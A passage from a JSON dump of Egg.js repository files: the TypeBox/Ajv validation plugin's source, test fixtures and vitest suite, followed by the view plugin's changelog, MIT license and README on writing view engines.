\"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"semver\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">= 22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/typebox-validate/src/app/extend/context.ts",
    "content": "import type { Schema } from 'ajv/dist/2019.js';\nimport { Context } from 'egg';\n\nexport default class AjvContext extends Context {\n  tValidate(schema: Schema, data: unknown): boolean {\n    const ajv = this.app.ajv;\n    const res = ajv.validate(schema, data);\n    if (!res) {\n      this.throw(422, 'Validation Failed', {\n        code: 'invalid_param',\n        errorData: data,\n        // TODO: high CPU usage https://github.com/eggjs/egg/pull/5583#discussion_r2404265446\n        currentSchema: JSON.stringify(schema),\n        errors: ajv.errors,\n      });\n    }\n    return res;\n  }\n\n  tValidateWithoutThrow(schema: Schema, data: unknown): boolean {\n    const res = this.app.ajv.validate(schema, data);\n    return res;\n  }\n}\n\ndeclare module 'egg' {\n  interface Context {\n    tValidate(schema: Schema, data: unknown): boolean;\n    tValidateWithoutThrow(schema: Schema, data: unknown): boolean;\n  }\n}\n"
  },
  {
    "path": "plugins/typebox-validate/src/app.ts",
    "content": "import addFormats from 'ajv-formats';\nimport keyWords from 'ajv-keywords';\nimport { Ajv2019 as Ajv } from 'ajv/dist/2019.js';\nimport type { Application, ILifecycleBoot } from 'egg';\n\nconst getAjvInstance = () => {\n  const ajv = new Ajv();\n  // @ts-expect-error - keyWords types are not fully compatible\n  keyWords(ajv, 'transform');\n  // @ts-expect-error - addFormats types are not fully compatible\n  addFormats(ajv, [\n    'date-time',\n    'time',\n    'date',\n    'email',\n    'hostname',\n    'ipv4',\n    'ipv6',\n    'uri',\n    'uri-reference',\n    'uuid',\n    'uri-template',\n    'json-pointer',\n    'relative-json-pointer',\n    'regex',\n  ])\n    .addKeyword('kind')\n    .addKeyword('modifier');\n  return ajv;\n};\n\nexport default class AppBootHook implements ILifecycleBoot {\n  public app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n    this.app.ajv = getAjvInstance();\n  }\n\n  async configDidLoad(): Promise<void> {\n    const config = this.app.config;\n    const typeboxValidate = config.typeboxValidate;\n    if (typeboxValidate) {\n      typeboxValidate.patchAjv?.(this.app.ajv);\n    }\n  }\n}\n\ndeclare module 'egg' {\n  interface Application {\n    ajv: Ajv;\n  }\n}\n"
  },
  {
    "path": "plugins/typebox-validate/src/config/config.default.ts",
    "content": "import type { Ajv2019 as Ajv } from 'ajv/dist/2019.js';\n\nexport interface TypeboxValidateConfig {\n  patchAjv?: (ajv: Ajv) => void;\n}\n\nexport default {\n  typeboxValidate: {\n    patchAjv: undefined,\n  } as TypeboxValidateConfig,\n};\n\ndeclare module 'egg' {\n  interface EggAppConfig {\n    /**\n     * typebox validate options\n     * @member Config#typeboxValidate\n     */\n    typeboxValidate: TypeboxValidateConfig;\n  }\n}\n"
  },
  {
    "path": "plugins/typebox-validate/src/decorator.ts",
    "content": "import type { ErrorObject } from 'ajv/dist/2019.js';\nimport type { Context } from 'egg';\n\nimport type { TSchema } from './typebox.ts';\n\ntype CustomErrorMessage = (ctx: Context, errors: ErrorObject[]) => string;\ntype GetData = (ctx: Context, args: unknown[]) => unknown;\nexport type ValidateRule = [TSchema, GetData, CustomErrorMessage?];\n\nexport type ValidateDecorator = (rules: ValidateRule[]) => MethodDecorator;\n\n/**\n * Validate decorator factory\n */\nexport function ValidateFactory(\n  customHandler: (ctx: Context, data?: unknown, schema?: TSchema, customError?: CustomErrorMessage) => void,\n): ValidateDecorator {\n  return function Validate(rules: ValidateRule[]): MethodDecorator {\n    return (_, __, descriptor: PropertyDescriptor): PropertyDescriptor => {\n      const fn = descriptor.value;\n      descriptor.value = async function (...args: unknown[]) {\n        const { ctx } = this as { ctx: Context };\n        for (const rule of rules) {\n          const [schema, getData, customError] = rule;\n          const data = getData(ctx, args);\n          const valid = ctx.tValidateWithoutThrow(schema, data);\n          if (!valid && customHandler) {\n            return customHandler(ctx, data, schema, customError);\n          }\n        }\n        return await fn.apply(this, args);\n      };\n      return descriptor;\n    };\n  };\n}\n\n/**\n * Validate decorator\n *\n * @example\n * ```ts\n * @Validate([[paramsSchema, ctx => ctx.params]])\n * async index() {\n *   const { ctx } = this;\n *   ctx.body = ctx.params;\n * }\n * ```\n */\nexport const Validate: ValidateDecorator = ValidateFactory((ctx, data, schema, customError) => {\n  const app = ctx.app;\n  const message = customError ? customError(ctx, app.ajv.errors!) : 'Validation Failed';\n  ctx.throw(422, message, {\n    code: 'invalid_param',\n    errorData: data,\n    currentSchema: JSON.stringify(schema),\n    errors: app.ajv.errors,\n  });\n});\n"
  },
  {
    "path": "plugins/typebox-validate/src/index.ts",
    "content": "import './types.ts';\n\nexport { Ajv2019 as Ajv } from 'ajv/dist/2019.js';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\n/**\n * Typebox validate plugin\n *\n * @since 4.1.0\n * Usage:\n * ```ts\n * // config/plugin.ts\n * import typeboxValidatePlugin from '@eggjs/typebox-validate';\n *\n * export default {\n *   ...typeboxValidatePlugin(),\n * };\n * ```\n */\nexport default definePluginFactory({\n  name: 'typeboxValidate',\n  enable: true,\n  path: import.meta.dirname,\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/typebox-validate/src/typebox.ts",
    "content": "export * from 'typebox';\n"
  },
  {
    "path": "plugins/typebox-validate/src/types.ts",
    "content": "import './config/config.default.ts';\nimport './app.ts';\nimport './app/extend/context.ts';\n"
  },
  {
    "path": "plugins/typebox-validate/test/fixtures/apps/typebox-validate-test/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\nimport { ValidateFactory, Validate } from '../../../../../../src/decorator.ts';\nimport { type Static, type TObject, type TProperties, Type } from '../../../../../../src/typebox.ts';\n\nconst TYPEBOX_ID = Type.Object({\n  id: Type.String(),\n});\n\nconst ValidateWithRedirect = ValidateFactory((ctx) => {\n  ctx.redirect('/422');\n});\n\nexport const TYPEBOX_BODY: TObject<TProperties> = Type.Object({\n  name: Type.String(),\n  description: Type.Optional(\n    Type.String({\n      transform: ['trim', 'toLowerCase'],\n      minLength: 1,\n      maxLength: 4,\n    }),\n  ),\n  email: Type.String({ format: 'email' }),\n  byte: Type.Optional(Type.Number({ format: 'byte' })),\n  version: Type.Optional(Type.String({ format: 'semver' })),\n  jsonString: Type.Optional(Type.String({ format: 'json-string' })),\n});\n\nexport default class HomeController extends Controller {\n  @Validate([[TYPEBOX_ID, (ctx) => ctx.params]])\n  public async create(): Promise<void> {\n    const { ctx } = this;\n    const res1 = ctx.tValidate(TYPEBOX_BODY, ctx.request.body);\n    const res2 = ctx.tValidateWithoutThrow(TYPEBOX_BODY, ctx.request.body);\n    const p: Static<typeof TYPEBOX_BODY> = ctx.request.body;\n    ctx.body = {\n      n: p.name,\n      d: p.description,\n      e: p.email,\n      same: res1 === res2,\n    };\n  }\n\n  public async update(): Promise<void> {\n    const { ctx } = this;\n    const valid = ctx.tValidateWithoutThrow(TYPEBOX_BODY, ctx.request.body);\n    if (valid) {\n      ctx.body = {\n        message: 'ok',\n      };\n    } else {\n      ctx.status = 422;\n      ctx.body = {\n        // @ts-ignore\n        errors: this.app.ajv.errors,\n      };\n    }\n  }\n\n  @Validate([\n    [TYPEBOX_ID, (ctx) => ctx.params],\n    [\n      TYPEBOX_BODY,\n      (ctx) => ctx.request.body,\n      (_ctx, errors) => 'kaiwei custom error: ' + errors.map((e) => e.message).join(':'),\n    ],\n  ])\n  public async delete(): Promise<void> {\n    const { ctx } = this;\n    const p: Static<typeof TYPEBOX_BODY> = ctx.request.body;\n    const res = await ctx.service.home.index({\n      version: p.version,\n    });\n    ctx.body = {\n      version: res,\n    };\n  }\n\n  @ValidateWithRedirect([\n    [TYPEBOX_ID, (ctx) => ctx.params],\n    [TYPEBOX_BODY, (ctx) => ctx.request.body],\n  ])\n  public async put(): Promise<void> {\n    const { ctx } = this;\n    const p: Static<typeof TYPEBOX_BODY> = ctx.request.body;\n    const res = await ctx.service.home.index({\n      version: p.version,\n    });\n    ctx.body = {\n      version: res,\n    };\n  }\n}\n"
  },
  {
    "path": "plugins/typebox-validate/test/fixtures/apps/typebox-validate-test/app/router.ts",
    "content": "import { Application } from 'egg';\n\nconst router = (app: Application): void => {\n  const { controller, router } = app;\n  router.post('/:id', controller.home.create);\n  router.patch('/:id', controller.home.update);\n  router.delete('/:id', controller.home.delete);\n  router.put('/:id', controller.home.put);\n};\n\nexport default router;\n"
  },
  {
    "path": "plugins/typebox-validate/test/fixtures/apps/typebox-validate-test/app/service/home.ts",
    "content": "import { Service } from 'egg';\n\nimport { Validate } from '../../../../../../src/decorator.ts';\nimport { Type, type Static } from '../../../../../../src/typebox.ts';\nimport { TYPEBOX_BODY } from '../controller/home.ts';\n\ntype HomeTypeBoxType = Static<typeof TYPEBOX_BODY>;\ntype ServiceParamsType = Pick<HomeTypeBoxType, 'version'>;\nconst ServiceParamsBox = Type.Pick(TYPEBOX_BODY, ['version']);\n\nexport default class HomeService extends Service {\n  @Validate([[ServiceParamsBox, (_, args) => args[0]]])\n  public async index(p: ServiceParamsType): Promise<string> {\n    return (p.version as string | undefined) || '';\n  }\n}\n"
  },
  {
    "path": "plugins/typebox-validate/test/fixtures/apps/typebox-validate-test/config/config.default.ts",
    "content": "import type { Ajv2019 as Ajv } from 'ajv/dist/2019.js';\nimport { defineConfigFactory, type EggConfigFactory } from 'egg';\n// @ts-expect-error - semver no types\nimport { valid } from 'semver';\n\nconst config: EggConfigFactory = defineConfigFactory(() => {\n  return {\n    keys: '123456',\n    security: {\n      csrf: {\n        ignoreJSON: true,\n      },\n    },\n    typeboxValidate: {\n      patchAjv: (ajv: Ajv) => {\n        ajv.addFormat('byte', {\n          type: 'number',\n          validate: (x) => x >= 0 && x <= 255 && x % 1 === 0,\n        });\n        ajv.addFormat('json-string', {\n          type: 'string',\n          validate: (x) => {\n            try {\n              JSON.parse(x);\n              return true;\n            } catch (err) {\n              return false;\n            }\n          },\n        });\n        ajv.addFormat('semver', {\n          type: 'string',\n          validate: (x) => valid(x) != null,\n        });\n      },\n    },\n  };\n});\n\nexport default config;\n"
  },
  {
    "path": "plugins/typebox-validate/test/fixtures/apps/typebox-validate-test/config/plugin.ts",
    "content": "import type { EggPlugin } from 'egg';\n\nconst plugin: EggPlugin = {\n  typeboxValidate: {\n    enable: true,\n    package: '@eggjs/typebox-validate',\n  },\n};\n\nexport default plugin;\n"
  },
  {
    "path": "plugins/typebox-validate/test/fixtures/apps/typebox-validate-test/package.json",
    "content": "{\n  \"name\": \"egg-typebox-validate-test\",\n  \"version\": \"0.0.1\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "plugins/typebox-validate/test/fixtures/apps/typebox-validate-test/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"strict\": true,\n    \"noImplicitAny\": true,\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\"\n  }\n}\n"
  },
  {
    "path": "plugins/typebox-validate/test/index.test.ts",
    "content": "import path from 'node:path';\n\nimport { mock } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach, expect } from 'vitest';\n\nimport { Ajv } from '../src/index.ts';\n\ndescribe('test/index.test.ts', () => {\n  let app: any;\n  beforeAll(async () => {\n    app = mock.app({\n      baseDir: path.join(import.meta.dirname, 'fixtures', 'apps', 'typebox-validate-test'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n  afterEach(mock.restore);\n\n  it('should export Ajv', () => {\n    expect(Ajv).toBeInstanceOf(Function);\n  });\n\n  it('should POST 200 /:id', async () => {\n    const res = await app.httpRequest().post('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc',\n      email: 'xiekw2010@gmail.com',\n    });\n    expect(res.status).toBe(200);\n    expect(res.body.n).toBe('xiekw2010');\n    expect(res.body.d).toBe('desc');\n    expect(res.body.e).toBe('xiekw2010@gmail.com');\n    expect(res.body.same).toBe(true);\n  });\n\n  it('should POST 422 /:id', async () => {\n    const res = await app.httpRequest().post('/someId').send({\n      name: 'xiekw2010',\n      email: 'xiekw2010gmail.com',\n    });\n    expect(res.status).toBe(422);\n  });\n\n  it('should PUT 422 /:id with redirect', async () => {\n    const res = await app.httpRequest().put('/someId').send({\n      name: 'xiekw2010',\n      email: 'xiekw2010gmail.com',\n    });\n    expect(res.status).toBe(302);\n    expect(res.text).toMatch(/Redirecting.*\\/422/);\n  });\n\n  it('should POST 200 /:id trim', async () => {\n    const res = await app.httpRequest().post('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n    });\n    expect(res.status).toBe(200);\n    expect(res.body.n).toBe('xiekw2010');\n    expect(res.body.d).toBe('desc');\n    expect(res.body.e).toBe('xiekw2010@gmail.com');\n    expect(res.body.same).toBe(true);\n  });\n\n  it('should POST 200 /:id custom format number bype', async () => {\n    let res = await app.httpRequest().post('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n      byte: 4,\n    });\n    expect(res.status).toBe(200);\n    expect(res.body.same).toBe(true);\n\n    res = await app.httpRequest().post('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n      byte: 256,\n    });\n    expect(res.status).toBe(422);\n  });\n\n  it('should POST 200 /:id custom format string json-string', async () => {\n    let res = await app.httpRequest().post('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n      jsonString: '{\"a\":1}',\n    });\n    expect(res.status).toBe(200);\n    expect(res.body.same).toBe(true);\n\n    res = await app.httpRequest().post('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n      jsonString: 'a{\"a\":1}',\n    });\n    expect(res.status).toBe(422);\n  });\n\n  it('should POST 200 /:id custom format string semver', async () => {\n    let res = await app.httpRequest().post('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n      version: '1.0.0',\n    });\n    expect(res.status).toBe(200);\n    expect(res.body.same).toBe(true);\n\n    res = await app.httpRequest().post('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n      version: 'a.b.c',\n    });\n    expect(res.status).toBe(422);\n  });\n\n  it('should PATCH 200 /:id tValidateWithoutThrow', async () => {\n    let res = await app.httpRequest().patch('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n      version: '1.0.0',\n    });\n    expect(res.status).toBe(200);\n    expect(res.body.message).toBe('ok');\n\n    res = await app.httpRequest().patch('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n      version: 'a.b.c',\n    });\n    expect(res.status).toBe(422);\n    expect(res.body.errors[0].message).toContain('semver');\n\n    res = await app.httpRequest().patch('/someId').send({\n      name: 'xiekw2010',\n      description: 22,\n      email: 'xiekw2010gmail.com',\n      version: 'a.b.c',\n    });\n    expect(res.status).toBe(422);\n    expect(res.body.errors.length).toBe(1);\n    expect(res.body.errors[0].message).toContain('string');\n  });\n\n  it('should DELETE 200 /:id decorator', async () => {\n    const res = await app.httpRequest().delete('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n      version: '1.0.0',\n    });\n    expect(res.status).toBe(200);\n    expect(res.body.version).toBe('1.0.0');\n  });\n\n  it('should DELETE 422 /:id decorator', async () => {\n    let res = await app.httpRequest().delete('/someId').send({\n      name: 'xiekw2010',\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n      version: 'a.b.c',\n    });\n    expect(res.status).toBe(422);\n    expect(res.text).toContain('kaiwei custom error: must match format \"semver\"');\n\n    res = await app.httpRequest().delete('/someId').send({\n      name: null,\n      description: 'desc  ',\n      email: 'xiekw2010@gmail.com',\n      version: 'a.b.c',\n    });\n    expect(res.status).toBe(422);\n    expect(res.text).toContain('kaiwei custom error: must be string');\n  });\n});\n"
  },
  {
    "path": "plugins/typebox-validate/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/view/.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\n.idea/\nrun/\n.DS_Store\n*.swp\ntest/fixtures/apps/ts/**/*.js\n*-lock.json\n*-lock.yaml\ntest/fixtures/ts/**/*.js\ntest/fixtures/ts/**/*.d.ts\n.tshy*\n.eslintcache\ndist\n"
  },
  {
    "path": "plugins/view/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\n## [3.0.1](https://github.com/eggjs/view/compare/v3.0.0...v3.0.1) (2025-02-03)\n\n\n### Bug Fixes\n\n* should import context types ([46b153f](https://github.com/eggjs/view/commit/46b153fc9155456f674b413d7cac545959ed78ab))\n\n## [3.0.0](https://github.com/eggjs/view/compare/v2.1.4...v3.0.0) (2025-02-03)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n- **New Features**\n  - Introduced a streamlined release workflow for automated publishing.\n- Enhanced view rendering with asynchronous methods for improved\nperformance.\n- **Refactor**\n- Modernized the codebase by migrating from generator functions to\nasync/await and adopting ES module syntax.\n- Rebranded the package from \"egg-view\" to \"@eggjs/view\" with updated\ndependency management.\n- **Documentation**\n- Updated installation instructions and usage examples to reflect the\nnew package name.\n- **Chores**\n- Upgraded Node.js support to version ≥ 18.19.0 and refined\nconfiguration settings.\n- **Bug Fixes**\n- Removed obsolete configuration files and streamlined project structure\nfor better maintainability.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#19](https://github.com/eggjs/view/issues/19)) ([c94425a](https://github.com/eggjs/view/commit/c94425a525768a3a6cd07c8ba024fa4a3974fc0b))\n\n2.1.4 / 2023-02-03\n==================\n\n**fixes**\n  * [[`8a723fe`](http://github.com/eggjs/egg-view/commit/8a723fe96b3632eafac7f62734500255126a46b3)] - fix: not import PlainObject from egg (#18) (killa <<killa123@126.com>>)\n\n**others**\n  * [[`10a233f`](http://github.com/eggjs/egg-view/commit/10a233f78cff9fef9c244c1fbc72e2a7d72784d3)] - docs: update readme (#17) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`c8f3c43`](http://github.com/eggjs/egg-view/commit/c8f3c43ab199d74d7f0145a37ff6b2529580c519)] - deps: update deps && ci (#16) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.1.3 / 2020-11-05\n==================\n\n**fixes**\n  * [[`e535d56`](http://github.com/eggjs/egg-view/commit/e535d561425c9a5ed1d1d2fd5b23c120ab4a4626)] - fix: added renderView declaration in dts file (#15) (serializedowen <<wjh199455@gmail.com>>)\n\n**others**\n  * [[`3633535`](http://github.com/eggjs/egg-view/commit/3633535469d04a8aa0f985126f95281d4fedd09d)] - chore: update travis (TZ | 天猪 <<atian25@qq.com>>)\n\n2.1.2 / 2019-01-30\n==================\n\n  * fix: fix ts ci (#14)\n  * fix: remove constructor in interface (#12)\n\n2.1.1 / 2018-12-29\n==================\n\n  * feat: add d.ts (#11)\n\n2.1.0 / 2018-02-26\n==================\n\n**features**\n  * [[`72d6668`](http://github.com/eggjs/egg-view/commit/72d6668af5e945c13ad11702c690988533b3c210)] - feat: export original locals to view engine (#9) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n2.0.0 / 2017-11-10\n==================\n\n**others**\n  * [[`d660e14`](http://github.com/eggjs/egg-view/commit/d660e1494a637296f0e1ba13c40c3d20401dad78)] -  refactor: use async function and support egg@2 (#8) (Yiyu He <<dead_horse@qq.com>>)\n\n1.1.2 / 2017-07-14\n==================\n\n  * fix: should skip file when file path out of view path (#7)\n\n1.1.1 / 2017-06-04\n==================\n\n  * docs: fix License url (#6)\n\n1.1.0 / 2017-04-01\n==================\n\n  * feat: pass root and original name as options when render (#5)\n  * docs: add config file (#3)\n  * test: fix test (#4)\n\n1.0.1 / 2017-02-28\n==================\n\n  * fix: cache can be disable (#2)\n\n1.0.0 / 2016-02-20\n==================\n\ninit version\n"
  },
  {
    "path": "plugins/view/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017 Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/view/README.md",
    "content": "# @eggjs/view\n\n[![NPM version](https://img.shields.io/npm/v/@eggjs/view.svg?style=flat-square)](https://npmjs.org/package/@eggjs/view)\n[![NPM download](https://img.shields.io/npm/dm/@eggjs/view.svg?style=flat-square)](https://npmjs.org/package/@eggjs/view)\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/view.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/view)\n\nBase view plugin for egg\n\n**it's a plugin that has been built-in for egg.**\n\n## Install\n\n```bash\nnpm i @eggjs/view\n```\n\n## Usage\n\n```js\n// {app_root}/config/plugin.ts\nexport default {\n  view: {\n    enable: true,\n    package: '@eggjs/view',\n  },\n};\n```\n\n## Use a template engine\n\n[@eggjs/view] don't have build-in view engine, So you should choose a template engine like [ejs], and install [egg-view-ejs] plugin.\n\nYou can choose a template engine first, link [ejs], so we use [egg-view-ejs] plugin.\n\n`egg-view` is in [eggjs], so you just need configure [egg-view-ejs].\n\n```js\n// config/plugin.ts\nexport default {\n  ejs: {\n    enable: true,\n    package: 'egg-view-ejs',\n  },\n};\n```\n\nConfigure the mapping, the file with `.ejs` extension will be rendered by ejs.\n\n```js\n// config/config.default.ts\nexport default {\n  view: {\n    mapping: {\n      '.ejs': 'ejs',\n    },\n  },\n};\n```\n\nIn controller, you can call `ctx.render`.\n\n```js\nexport default (app: Application) => {\n  return class UserController extends app.Controller {\n    async list() {\n      const { ctx } = this;\n      await ctx.render('user.ejs');\n    }\n  };\n}\n```\n\nIf you call `ctx.renderString`, you should specify viewEngine in viewOptions.\n\n```js\nexport default (app: Application) => {\n  return class UserController extends app.Controller {\n    async list() {\n      const { ctx } = this;\n      ctx.body = await ctx.renderString(\n        '<%= user %>',\n        { user: 'popomore' },\n        {\n          viewEngine: 'ejs',\n        }\n      );\n    }\n  };\n}\n```\n\n## Use multiple view engine\n\n[egg-view] support multiple view engine, so you can use more than one template engine in one application.\n\nIf you want add another template engine like [nunjucks], then you can add [egg-view-nunjucks] plugin.\n\nConfigure the plugin and mapping\n\n```js\n// config/plugin.ts\nexport default {\n  ejs: {\n    enable: true,\n    package: 'egg-view-ejs',\n  },\n  nunjucks: {\n    enable: true,\n    package: 'egg-view-nunjucks',\n  },\n};\n```\n\n```js\n// config/config.default.ts\nexport default {\n  view: {\n    mapping: {\n      '.ejs': 'ejs',\n      '.nj': 'nunjucks',\n    },\n  },\n};\n```\n\nYou can simply render the file with `.nj` extension.\n\n```js\nawait ctx.render('user.nj');\n```\n\n## How to write a view plugin\n\nYou can use [@eggjs/view]'s API to register a plugin.\n\n### View engine\n\nCreate a view engine class first, and implement `render` and `renderString`, if the template engine don't support, just throw an error.\nThe view engine is context level, so it receive ctx in `constructor`.\n\n```js\n// lib/view.ts\nexport default class MyView {\n  constructor(ctx) {\n    // do some initialize\n    // get the plugin config from `ctx.app.config`\n  }\n\n  async render(fullpath: string, locals: Record<string, any>) {\n    return myengine.render(fullpath, locals);\n  }\n\n  async renderString() {\n    throw new Error('not implement');\n  }\n}\n```\n\n`render` and `renderString` support generator function, async function, or normal function return a promise.\n\nIf the template engine only support callback, you can wrap it by Promise.\n\n```js\nclass MyView {\n  render(fullpath, locals) {\n    return new Promise((resolve, reject) => {\n      myengine.render(fullpath, locals, (err, result) => {\n        if (err) {\n          reject(err);\n        } else {\n          resolve(result);\n        }\n      });\n    });\n  }\n}\n```\n\nThese methods receive three arguments, `renderString` will pass tpl as the first argument instead of name in `render`.\n\n`render(name, locals, viewOptions)`\n\n- name: the file path that can resolve from root (`app/view` by default)\n- locals: data used by template\n- viewOptions: the view options for each render, it can override the view default config in `config/config.default.js`. Plugin should implement it if it has config.\n  When you implement view engine, you will receive this options from `render`, the options contain:\n  - root: egg-view will resolve the name to full path, but seperating root and name in viewOptions.\n  - name: the original name when call render\n  - locals: the original locals when call render\n\n`renderString(tpl, locals, viewOptions)`\n\n- tpl: the template string instead of the file, using in `renderString`\n- locals: same as `render`\n- viewOptions: same as `render`\n\n### Register\n\nAfter define a view engine, you can register it.\n\n```js\n// app.ts\nimport type { Application } from 'egg';\nimport MyView from './lib/view';\n\nexport default (app: Application) => {\n  app.view.use('myName', MyView);\n}\n```\n\nYou can define a view engine name, normally it's a template name.\n\n### Configure\n\nDefine plugin name and depend on [@eggjs/view]\n\n```json\n{\n  \"eggPlugin\": {\n    \"name\": \"myName\",\n    \"dependencies\": [\"view\"]\n  }\n}\n```\n\nSet default config in `config/config.default.ts`, the name is equals to plugin name.\n\n```js\nexport default {\n  myName: {},\n};\n```\n\nSee some examples\n\n- [egg-view-ejs]\n- [egg-view-nunjucks]\n\n## Configuration\n\n### Root\n\nRoot is `${baseDir}/app/view` by default, but you can define multiple directory, seperated by `,`.\n[@eggjs/view] will find a file from all root directories.\n\n```js\nexport default (appInfo: EggAppInfo) => {\n  const baseDir = appInfo.baseDir;\n  return {\n    view: {\n      root: `${baseDir}/app/view,${baseDir}/app/view2`,\n    },\n  };\n}\n```\n\n### defaultExtension\n\nWhen render a file, you should specify a extension that let [@eggjs/view] know whitch engine you want to use.\nHowever you can define `defaultExtension` without write the extension.\n\n```js\n// config/config.default.ts\nexport default {\n  view: {\n    defaultExtension: '.html',\n  },\n};\n\n// controller\nexport default (app: Application) => {\n  return class UserController extends app.Controller {\n    async list() {\n      const { ctx } = this;\n      // render user.html\n      await ctx.render('user');\n    }\n  }\n}\n```\n\n### viewEngine and defaultViewEngine\n\nIf you are using `renderString`, you should specify viewEngine in view config, see example above.\n\nHowever, you can define `defaultViewEngine` without set each time.\n\n```js\n// config/config.default.ts\nexport default {\n  view: {\n    defaultViewEngine: 'ejs',\n  },\n};\n```\n\nsee [config/config.default.ts](https://github.com/eggjs/egg/blob/next/plugins/view/src/config/config.default.ts) for more detail.\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n\n[eggjs]: https://eggjs.org\n[ejs]: https://github.com/mde/ejs\n[egg-view-ejs]: https://github.com/eggjs/egg-view-ejs\n[@eggjs/view]: https://github.com/eggjs/egg/tree/next/plugins/view\n[nunjucks]: http://mozilla.github.io/nunjucks\n[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks\n"
  },
  {
    "path": "plugins/view/package.json",
